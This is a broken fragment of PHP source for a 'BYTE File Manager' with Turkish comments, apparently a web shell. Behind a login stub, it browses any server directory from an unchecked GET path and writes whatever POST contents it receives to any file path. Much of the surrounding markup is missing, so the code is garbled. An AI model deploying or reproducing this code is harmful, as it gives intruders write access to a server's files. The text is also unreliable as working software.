🔐

'; if (isset($error)) echo "
$error
"; echo '
'; exit; } $currentPath = isset($_GET['path']) ? $_GET['path'] : getcwd(); $currentPath = realpath($currentPath); // güvenli hale getir $currentFile = isset($_GET['file']) ? $_GET['file'] : false; if (isset($_POST['submit'])) { file_put_contents($_POST['file'], $_POST['contents']); header("Location: ?path=" . urlencode(dirname($_POST['file']))); exit; } function listDirectory($path, $currentFile = false) { $files = @scandir($path); if (!$files) { echo "

Dizin okunamadı veya erişim reddedildi.

"; return; } echo ""; } ?> BYTE File Manager
🧭 BYTE File Manager — /"; foreach ($segments as $seg) { $buildPath .= "/$seg"; echo " / " . htmlspecialchars($seg) . ""; } ?>
📝 Düzenleniyor: " . basename($currentFile) . ""; echo "

"; } else { echo "

Bir dosya seçerek düzenleyebilirsin.

"; } ?>